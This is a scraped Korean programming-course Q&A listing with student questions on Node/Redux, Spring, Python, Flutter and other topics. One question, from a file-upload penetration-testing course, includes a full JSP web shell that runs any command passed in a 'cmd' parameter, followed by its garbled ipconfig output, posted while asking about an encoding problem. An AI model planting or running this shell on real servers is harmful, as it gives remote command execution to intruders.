묻고 답해요
164만명의 커뮤니티!! 함께 토론해봐요.
인프런 TOP Writers
-
미해결[리뉴얼] React로 NodeBird SNS 만들기
LOAD_POSTS_FAILURE 발생
안녕하세요! 다름이 아니라 강의를 들으며 코드를 작성하는데 게시글들을 로드하는데 있어서 계속해서 LOAD_POSTS_FAILURE가 되면서 500 상태코드의 서버에러가 발생합니다. 에러메세지를 보면 Post.findAll이 정의되지 않는다고하는데, Post가 비어있어서 finAll이 작동하지 않는 것 같습니다. 하지만 db 상으로 보면 posts 테이블이 잘 채워져있는데 왜 에러가 발생하는지 모르겠습니다ㅠㅠ 관련 코드 올려놓겠습니다. routes/posts.js const express = require('express'); const { Post, Image, User, Comment } = require('../models'); const router = express.Router(); router.get('/', async (req, res, next) => { // GET /posts try{ const posts = await Post.findAll({ limit: 10, order: [ ['createdAt', 'DESC'], [Comment, 'createdAt', 'DESC'] ], include: [{ model: User, attributes: ['id', 'nickname'], }, { model: Image, }, { model: Comment, include: [{ model: User, attributes: ['id', 'nickname'], }], }, { mode: User, as: 'Likers', attributes: ['id'], }], }); console.log(posts); res.status(200).json(posts); } catch (error) { console.error(error); next(error); } }); module.exports = router; reducers/post.js import produce from '../util/produce'; export const initialState = { mainPosts: [], imagePaths: [], hasMorePosts: true, likePostLoading: false, likePostDone: false, likePostError: null, unlikePostLoading: false, unlikePostDone: false, unlikePostError: null, loadPostsLoading: false, loadPostsDone: false, loadPostsError: null, addPostLoading: false, addPostDone: false, addPostError: null, removePostLoading: false, removePostDone: false, removePostError: null, addCommentLoading: false, addCommentDone: false, addCommentError: null, }; export const LIKE_POST_REQUEST = 'LIKE_POST_REQUEST'; export const LIKE_POST_SUCCESS = 'LIKE_POST_SUCCESS'; export const LIKE_POST_FAILURE = 'LIKE_POST_FAILURE'; export const UNLIKE_POST_REQUEST = 'UNLIKE_POST_REQUEST'; export const UNLIKE_POST_SUCCESS = 'UNLIKE_POST_SUCCESS'; export const UNLIKE_POST_FAILURE = 'UNLIKE_POST_FAILURE'; export const LOAD_POSTS_REQUEST = 'LOAD_POSTS_REQUEST'; export const LOAD_POSTS_SUCCESS = 'LOAD_POSTS_SUCCESS'; export const LOAD_POSTS_FAILURE = 'LOAD_POSTS_FAILURE'; export const ADD_POST_REQUEST = 'ADD_POST_REQUEST'; export const ADD_POST_SUCCESS = 'ADD_POST_SUCCESS'; export const ADD_POST_FAILURE = 'ADD_POST_FAILURE'; export const REMOVE_POST_REQUEST = 'REMOVE_POST_REQUEST'; export const REMOVE_POST_SUCCESS = 'REMOVE_POST_SUCCESS'; export const REMOVE_POST_FAILURE = 'REMOVE_POST_FAILURE'; export const ADD_COMMENT_REQUEST = 'ADD_COMMENT_REQUEST'; export const ADD_COMMENT_SUCCESS = 'ADD_COMMENT_SUCCESS'; export const ADD_COMMENT_FAILURE = 'ADD_COMMENT_FAILURE'; export const addPost = (data) => ({ type: ADD_POST_REQUEST, data, }); export const addComment = (data) => ({ type: ADD_COMMENT_REQUEST, data, }); // 이전 상태를 액션을 통해 다음 상태로 만들어내는 함수(불변성은 지키면서) const reducer = (state = initialState, action) => produce(state, (draft) => { switch (action.type) { case LIKE_POST_REQUEST: draft.likePostLoading = true; draft.likePostDone = false; draft.likePostError = null; break; case LIKE_POST_SUCCESS: { const post = draft.mainPosts.find((v) => v.id === action.data.PostId); post.Likers.push({ id: action.data.UserId }); draft.likePostLoading = false; draft.likePostDone = true; break; } case LIKE_POST_FAILURE: draft.likePostLoading = false; draft.likePostError = action.error; break; case UNLIKE_POST_REQUEST: draft.unlikePostLoading = true; draft.unlikePostDone = false; draft.unlikePostError = null; break; case UNLIKE_POST_SUCCESS: { const post = draft.mainPosts.find((v) => v.id === action.data.PostId); post.Likers.filter((v) => v.id !== action.data.UserId); draft.unlikePostLoading = false; draft.unlikePostDone = true; break; } case UNLIKE_POST_FAILURE: draft.unlikePostLoading = false; draft.unlikePostError = action.error; break; case LOAD_POSTS_REQUEST: draft.loadPostsLoading = true; draft.loadPostsDone = false; draft.loadPostsError = null; break; case LOAD_POSTS_SUCCESS: draft.loadPostsLoading = false; draft.loadPostsDone = true; draft.mainPosts = draft.mainPosts.concat(action.data); draft.hasMorePosts = draft.mainPosts.length < 50; break; case LOAD_POSTS_FAILURE: draft.loadPostsLoading = false; draft.loadPostsError = action.error; break; case ADD_POST_REQUEST: draft.addPostLoading = true; draft.addPostDone = false; draft.addPostError = null; break; case ADD_POST_SUCCESS: draft.addPostLoading = false; draft.addPostDone = true; draft.mainPosts.unshift(action.data); break; case ADD_POST_FAILURE: draft.addPostLoading = false; draft.addPostError = action.error; break; case REMOVE_POST_REQUEST: draft.removePostLoading = true; draft.removePostDone = false; draft.removePostError = null; break; case REMOVE_POST_SUCCESS: draft.removePostLoading = false; draft.removePostDone = true; draft.mainPosts = draft.mainPosts.filter((v) => v.id !== action.data); break; case REMOVE_POST_FAILURE: draft.removePostLoading = false; draft.removePostError = action.error; break; case ADD_COMMENT_REQUEST: draft.addCommentLoading = true; draft.addCommentDone = false; draft.addCommentError = null; break; case ADD_COMMENT_SUCCESS: { const post = draft.mainPosts.find((v) => v.id === action.data.PostId); post.Comments.unshift(action.data); draft.addCommentLoading = false; draft.addCommentDone = true; break; } case ADD_COMMENT_FAILURE: draft.addCommentLoading = false; draft.addCommentError = action.error; break; default: break; } }); export default reducer; sagas/post.js import axios from 'axios'; // import shortId from 'shortid'; import { all, delay, fork, put, takeLatest, throttle, call } from 'redux-saga/effects'; import { ADD_COMMENT_FAILURE, ADD_COMMENT_REQUEST, ADD_COMMENT_SUCCESS, ADD_POST_FAILURE, ADD_POST_REQUEST, ADD_POST_SUCCESS, LIKE_POST_FAILURE, LIKE_POST_REQUEST, LIKE_POST_SUCCESS, // generateDummyPost, LOAD_POSTS_FAILURE, LOAD_POSTS_REQUEST, LOAD_POSTS_SUCCESS, REMOVE_POST_FAILURE, REMOVE_POST_REQUEST, REMOVE_POST_SUCCESS, UNLIKE_POST_FAILURE, UNLIKE_POST_REQUEST, UNLIKE_POST_SUCCESS, } from '../reducers/post'; import { ADD_POST_TO_ME, REMOVE_POST_OF_ME } from '../reducers/user'; function likePostAPI(data) { // data: post.id return axios.patch(`/post/${data}/like`); } function* likePost(action) { try { const result = yield call(likePostAPI, action.data); yield put({ type: LIKE_POST_SUCCESS, data: result.data, // PostId, UserId }); } catch (err) { console.error(err); yield put({ type: LIKE_POST_FAILURE, data: err.response.data, }); } } function unlikePostAPI(data) { return axios.delete(`/post/${data}/like`); // return axios.patch(`/post/${data}/unlike`); 도 가능 } function* unlikePost(action) { try { const result = yield call(unlikePostAPI, action.data); yield put({ type: UNLIKE_POST_SUCCESS, data: result.data, }); } catch (err) { console.error(err); yield put({ type: UNLIKE_POST_FAILURE, data: err.response.data, }); } } function loadPostsAPI(data) { return axios.get('/posts', data); } function* loadPosts(action) { try { const result = yield call(loadPostsAPI, action.data); yield put({ type: LOAD_POSTS_SUCCESS, // data: generateDummyPost(10), data: result.data, }); } catch (err) { console.error(err); yield put({ type: LOAD_POSTS_FAILURE, data: err.response.data, }); } } function addPostAPI(data) { return axios.post('/post', { content: data }); } function* addPost(action) { try { const result = yield call(addPostAPI, action.data); yield put({ type: ADD_POST_SUCCESS, data: result.data, }); yield put({ type: ADD_POST_TO_ME, data: result.data.id, }); } catch (err) { console.error(err); yield put({ type: ADD_POST_FAILURE, data: err.response.data, }); } } function removePostAPI(data) { return axios.delete('/api/post', data); } function* removePost(action) { try { // const result = yield call(removePostAPI, action.data); yield delay(1000); yield put({ type: REMOVE_POST_SUCCESS, data: action.data, }); yield put({ type: REMOVE_POST_OF_ME, data: action.data, }); } catch (err) { console.error(err); yield put({ type: REMOVE_POST_FAILURE, data: err.response.data, }); } } function addCommentAPI(data) { return axios.post(`/post/${data.postId}/comment`, data); } function* addComment(action) { try { const result = yield call(addCommentAPI, action.data); yield put({ type: ADD_COMMENT_SUCCESS, data: result.data, }); } catch (err) { yield put({ type: ADD_COMMENT_FAILURE, data: err.response.data, }); } } function* watchLikePost() { yield takeLatest(LIKE_POST_REQUEST, likePost); } function* watchUnlikePost() { yield takeLatest(UNLIKE_POST_REQUEST, unlikePost); } function* watchLoadPosts() { yield throttle(5000, LOAD_POSTS_REQUEST, loadPosts); } function* watchAddPost() { yield takeLatest(ADD_POST_REQUEST, addPost); } function* watchRemovePost() { yield takeLatest(REMOVE_POST_REQUEST, removePost); } function* watchAddComment() { yield takeLatest(ADD_COMMENT_REQUEST, addComment); } export default function* postSaga() { yield all([ fork(watchLikePost), fork(watchUnlikePost), fork(watchAddPost), fork(watchLoadPosts), fork(watchRemovePost), fork(watchAddComment), ]); }
-
미해결홍정모의 따라하며 배우는 C++
코드 상에 뭐가 틀린걸까요?
- 학습 관련 질문을 남겨주세요. 상세히 작성하면 더 좋아요! - 먼저
-
미해결우리를 위한 프로그래밍 : 파이썬 중급 (Inflearn Original)
python -m venv 오류
작업 폴더는 C:\Users\User\python_mid 여기서 하고 있고 몇 번 계속해봤는데 저런 오류 메시지만 뜨더라구요,, 어떻게 해야하나요
-
미해결디지털 포렌식 (Digital Forensic) 전문가 과정
pstree, psscan 관련 질문 드립니다.
부모 프로세스가 없는 것을 어떻게 바로 확인하신 건지 궁금합니다.
-
미해결[개정판] 딥러닝 컴퓨터 비전 완벽 가이드
적은 클래스에 대한 불량 검출하는 semantic segmentation 모델과 패키지 중에 추천해주실 만한 것이 있을까요?
안녕하세요 배경을 포함해서 3개 정도 클래스를 구분하는 segmentation 문제를 풀어보려고 하는데 유명한 패키지? 라고 해야 하나 아래 2개정도로 생각이 드는데, 아래 패키지에서 잘 알려진 DeepLabV3+ 다른걸 써보고 싶은데, 너무 생소한 이름의 모델이 많아서요 혹시 생각나신 것이 있으면 살짝 언급해주실 수 있나요? https://github.com/qubvel/segmentation_models.pytorch https://github.com/open-mmlab/mmsegmentation
-
미해결[개정판] 딥러닝 컴퓨터 비전 완벽 가이드
mmdetection에서의 mask-rcnn에 대해서 질문이 있습니다
안녕하세요 mmdetection 모델 목록에 mask-rcnn이 있는데, 그 이유가 roi-align 부분만 빼면 Detection 모델인 Faster-RCNN이랑 똑같기 때문에 그런 것인가요?
-
미해결Slack 클론 코딩[실시간 채팅 with React]
useCallback 사용 시점
최근에 기업 과제를 진행 했었는데 무분별한 useCallback 사용은 안 좋다고 하더라구요 여기서 무분별한 useCallback의 안 좋은점이 뭐가 있는지 알려주실 수 있으신가요 ?!
-
미해결[리뉴얼] Node.js 교과서 - 기본부터 프로젝트 실습까지
질문 부탁드랴요
찻번째 sendFile은 무조건 index.html 이 파일 이름으로 해야하는 건가요? html 파일을 sendFile하면 css나 이미지 에러나는데 왜그런 건가요?
-
미해결스프링 MVC 1편 - 백엔드 웹 개발 핵심 기술
throws Exception 관련
controller 자식 클래스에서 Exception를 메소드 방식으로 , 이를 실행하는 곳으로 다 떠 넘겨 버린거 같은데, 자식클래스에서 직접 처리하지 않고 이렇게 하는 것은 예외 처리 또한 중복되서 그런건가요?
-
미해결프로그래밍 시작하기 : 웹 입문 (Inflearn Original)
개발자 도구에 계속 이것만 뜨는데 어디에서 틀렸는지 모르겠습니다 ㅠㅠ
이게 맞는지 모르겠습니다... 다른 답변들 보면서 파일을 계속 고쳤는데 제자리걸음인 것 같아서 질문 올립니다...
-
미해결프로그래밍 시작하기 : 웹 입문 (Inflearn Original)
logo.EventListener('click ... 이 작동되지 않습니다
안녕하세요. mac 으로 강의 들으면서 작성해보고 있는 수강자인데요. 이전까지는 괜찮았는데 DOM 강의 들어서면서부터 몇몇 부분이 잘 작동이 안되더라고요... 이전 질문 찾아보면서 해보려고 노력했는데, 구글 로고 삭제나 색 변경 같은 부분은 자꾸 에러가 납니다... 어떻게 해야할지 잘 모르겠어요 ㅠㅜ
-
미해결모의해킹 실무자가 알려주는, 파일 업로드 취약점 공격 기법과 실무 사례 분석 : PART 1
JSP 한글 깨짐
<%@ page language="java" contentType="text/html; charset=EUC-KR" pageEncoding="EUC-KR" %> <%@ page import="java.io.*" %> <% request.setCharacterEncoding("EUC-KR"); %> <!DOCTYPE html> <html lang="en"> <head> <meta http-equiv="Content-Type" content="text/html; charset=EUC-KR"> <title>Document</title> <style> table{ border: 1px solid black; background-color: black; } td{ color: white; font-size: 12px; } </style> </head> <body> <% String cmd = request.getParameter("cmd"); Process ps = null; BufferedReader br = null; String line = ""; String result = ""; String now_page = request.getServletPath(); try{ if(cmd != null){ ps = Runtime.getRuntime().exec(cmd); br = new BufferedReader(new InputStreamReader(ps.getInputStream())); while((line = br.readLine())!= null){ result += line + "<br>"; } ps.destroy(); } } finally{ if(br != null) br.close(); } %> <form action="<%=now_page%>" methoad="POST"> <input type="text" name="cmd"> <input type="submit" value="EXECUTE"> </form> <hr> <table> <tr> <td><%=result%></td> </tr> </table> </body> </html> Windows IP ????????? ????? ?????:???? ???? . . . . . . . . : ???? ???? ???????? DNS ?????. . . . :????? ????? VirtualBox Host-Only Network:???? DNS ?????. . . . :???-???? IPv6 ??? . . . . : fe80::d4ff:e196:65b7:8e31%12IPv4 ??? . . . . . . . . . : 192.168.56.1????? ????? . . . . . . . : 255.255.255.0?? ????????? . . . . . . :????? ????? Npcap Loopback Adapter:???? DNS ?????. . . . :???-???? IPv6 ??? . . . . : fe80::58f7:a775:f5e8:992%16??? ???? IPv4 ??? . . . . : 169.254.9.146????? ????? . . . . . . . : 255.255.0.0?? ????????? . . . . . . :???? LAN ????? ???? ???? ????* 2:???? ???? . . . . . . . . : ???? ???? ???????? DNS ?????. . . . :???? LAN ????? ???? ???? ????* 3:???? ???? . . . . . . . . : ???? ???? ???????? DNS ?????. . . . :????? ????? VMware Network Adapter VMnet1:???? DNS ?????. . . . :???-???? IPv6 ??? . . . . : fe80::f1ac:f03a:410c:dce8%8??? ???? IPv4 ??? . . . . : 169.254.220.232????? ????? . . . . . . . : 255.255.0.0?? ????????? . . . . . . :????? ????? VMware Network Adapter VMnet8:???? DNS ?????. . . . :???-???? IPv6 ??? . . . . : fe80::3d53:cac6:432c:144d%14??? ???? IPv4 ??? . . . . : 169.254.20.77????? ????? . . . . . . . : 255.255.0.0?? ????????? . . . . . . :???? LAN ????? Wi-Fi:???? DNS ?????. . . . :???-???? IPv6 ??? . . . . : fe80::61d4:9204:78ca:69c%3IPv4 ??? . . . . . . . . . : 192.168.0.5????? ????? . . . . . . . : 255.255.255.0?? ????????? . . . . . . : 192.168.0.1????? ????? Bluetooth ?????? ???? 2:???? ???? . . . . . . . . : ???? ???? ???????? DNS ?????. . . . : <%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8" %> <%@ page import="java.io.*" %> <% request.setCharacterEncoding("UTF-8"); %> <!DOCTYPE html> <html lang="en"> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <title>Document</title> <style> table{ border: 1px solid black; background-color: black; } td{ color: white; font-size: 12px; } </style> </head> <body> <% String cmd = request.getParameter("cmd"); Process ps = null; BufferedReader br = null; String line = ""; String result = ""; String now_page = request.getServletPath(); try{ if(cmd != null){ ps = Runtime.getRuntime().exec(cmd); br = new BufferedReader(new InputStreamReader(ps.getInputStream())); while((line = br.readLine())!= null){ result += line + "<br>"; } ps.destroy(); } } finally{ if(br != null) br.close(); } %> <form action="<%=now_page%>" methoad="POST"> <input type="text" name="cmd"> <input type="submit" value="EXECUTE"> </form> <hr> <table> <tr> <td><%=result%></td> </tr> </table> </body> </html> Windows IP �����̴��� ����� �̴���:�̵�� ���� . . . . . . . . : �̵�� ���� �������Ằ DNS ���̻�. . . . :�̴��� ����� VirtualBox Host-Only Network:���Ằ DNS ���̻�. . . . :��ũ-���� IPv6 �ּ� . . . . : fe80::d4ff:e196:65b7:8e31%12IPv4 �ּ� . . . . . . . . . : 192.168.56.1����� ����ũ . . . . . . . : 255.255.255.0�⺻ ����Ʈ���� . . . . . . :�̴��� ����� Npcap Loopback Adapter:���Ằ DNS ���̻�. . . . :��ũ-���� IPv6 �ּ� . . . . : fe80::58f7:a775:f5e8:992%16�ڵ� ���� IPv4 �ּ� . . . . : 169.254.9.146����� ����ũ . . . . . . . : 255.255.0.0�⺻ ����Ʈ���� . . . . . . :���� LAN ����� ���� ���� ����* 2:�̵�� ���� . . . . . . . . : �̵�� ���� �������Ằ DNS ���̻�. . . . :���� LAN ����� ���� ���� ����* 3:�̵�� ���� . . . . . . . . : �̵�� ���� �������Ằ DNS ���̻�. . . . :�̴��� ����� VMware Network Adapter VMnet1:���Ằ DNS ���̻�. . . . :��ũ-���� IPv6 �ּ� . . . . : fe80::f1ac:f03a:410c:dce8%8�ڵ� ���� IPv4 �ּ� . . . . : 169.254.220.232����� ����ũ . . . . . . . : 255.255.0.0�⺻ ����Ʈ���� . . . . . . :�̴��� ����� VMware Network Adapter VMnet8:���Ằ DNS ���̻�. . . . :��ũ-���� IPv6 �ּ� . . . . : fe80::3d53:cac6:432c:144d%14�ڵ� ���� IPv4 �ּ� . . . . : 169.254.20.77����� ����ũ . . . . . . . : 255.255.0.0�⺻ ����Ʈ���� . . . . . . :���� LAN ����� Wi-Fi:���Ằ DNS ���̻�. . . . :��ũ-���� IPv6 �ּ� . . . . : fe80::61d4:9204:78ca:69c%3IPv4 �ּ� . . . . . . . . . : 192.168.0.5����� ����ũ . . . . . . . : 255.255.255.0�⺻ ����Ʈ���� . . . . . . : 192.168.0.1�̴��� ����� Bluetooth ��Ʈ��ũ ���� 2:�̵�� ���� . . . . . . . . : �̵�� ���� �������Ằ DNS ���̻�. . . . : 한글이 깨집니다. 저번에 php때도 깨져서 EUC-KR로 바꾸니까 잘 해결됬는데 JSP는 해결이 안되네요.
-
미해결스프링 핵심 원리 - 기본편
싱글톤에 대해 궁금한 점이 생겨 질문드립니다.
싱글톤과 Configuration 애노테이션에 대해 공부하던중 궁금한 점이 생겨 이렇게 글을 작성하게 되었습니다. 싱글톤 그리고 Configuration 에 대해 제가 이해한것은 AppConfig 처럼 설정파일에 Configuration 이라는 애노테이션을 달아줄 경우, 바이트 조작이 되어, AppConfig 라는 설정파일 안에 존재하는 빈 객체들을 싱글톤으로 유지하도록 해주는것으로 이해했습니다. 해당 부분에서 생긴 궁금증은 AppConfig에서 Configuration 이라는 것을 지우고, 위 사진의 테스트 코드를 실행하면 테스트가 통과되는 것을 볼수 있는데, 설정파일에 Configuration이라는 애노테이션이 없기 때문에, 싱글톤으로 유지 하지 못해 memberService 객체와 memberRepository객체가 각각 두개 생겨야 하는 거 같은데, 테스트가 통과되고 같은 객체라고 해서요..! 혹시 제가 어떤부분을 놓친걸까요?
-
미해결실전! 스프링 부트와 JPA 활용1 - 웹 애플리케이션 개발
dto 만들 때 질문이 있습니다.
요청이나 응답 dto를 만들 때 엔티티의 임베디드 타입 필드의 경우 다 풀어서 생성해야 하나요? 아님 임베디드 타입 필드 그대로 사용해도 괜찮나요??
-
미해결Slack 클론 코딩[백엔드 with NestJS + TypeORM]
데코레이터 타이핑
삭제된 글입니다
-
미해결Flutter 입문 - 안드로이드, iOS 개발을 한 번에 (with Firebase)
import 미작동
저는 예전부터 vscode가 익숙해서 vscode를 사용하고 있는데 얼마전까진 'ctrl+.' 을 사용해서 import가 됐었는데 어느 순간부터인지 import가 작동하지 않네요. ctrl+. 을 누르면 .이 약간 위로 올라가는 모습만 나타납니다. 스택오버플로우 찾아봐도 해결책이 안나오던데 혹시 방법을 아시는지요?
-
미해결스프링 MVC 2편 - 백엔드 웹 개발 활용 기술
안녕하세요! 질문이 있습니다.
안녕하세요! 언제나 좋은 강의 감사드립니다 :) 파일업로드 예제에 대해 실습하면서 의문사항이 생겨 질문 드립니다. 처음 파일업로드를 완료한 상태에서, 따로 파일을 선택하지 않은 상태에서 웹브라우저를 새로고침하면, 저절로 이전에 파일업로드 처리가 완료된 POST /upload API 요청이 한번 더 나가서 파일업로드 처리가 한번 더 수행됩니다. 이럴경우, 사용자가 의도하지 않았는데도 파일업로드 처리가 될 우려가 있을 것 같고, 서버 측에서도 괜히 파일업도르 처리를 한번 더 수행하는 상황이 생길거 같은데,,, 왜 api call이 한번 더 나가는 걸까요?? 아니면 혹시 해결법이 있을까요? 리다이렉트를 수행시키면 될까요??
-
미해결자바스크립트 알고리즘 문제풀이 입문(코딩테스트 대비)
후속작
안녕하세요 강사님!강의 너무 잘 보고 있습니다.문제 관련 질문은 아니고 혹시 강의 후속작을 내실 계획은 없나요? 현재 강의와 마찬가지로 자바스크립트 언어를 이용해서 현 강의 난이도보다 조금 더 어려운 중급 ~ 고급 문제만 다루는 강의를 듣고싶습니다..! 강의를 듣는데 설명 엄청 잘하시고 너무 이해가 잘돼서 아쉬운 마음에 요청드려봅니다!!
-
미해결[리뉴얼] Node.js 교과서 - 기본부터 프로젝트 실습까지
fs 메서드 이름에 카멜케이스가 아닌 로우케이스가 적용된 이유가 뭘까요?
readFileSync 같은건 카멜케이스를 지켜서 네이밍 되어있는데, readdir 이나 rmdir 같은건 왜 로우케이스가 적용되어 있을까요? mkdir 이나 rmdir 같이 리눅스 명령어와 동일한 메서드는 리눅스와 동일하게 로우케이스로 쓰는 그런 느낌일까요..?
-
미해결자바스크립트 알고리즘 문제풀이 입문(코딩테스트 대비)
P값이 0이어도 괜찮지 않나요?
강의에서 P를 문자열 최대길이보다 크게 잡으신 이유를 잘 이해하지 못했습니다. 0으로 해도 문제가 풀리는데... 0으로 해도 무방하지 않나요?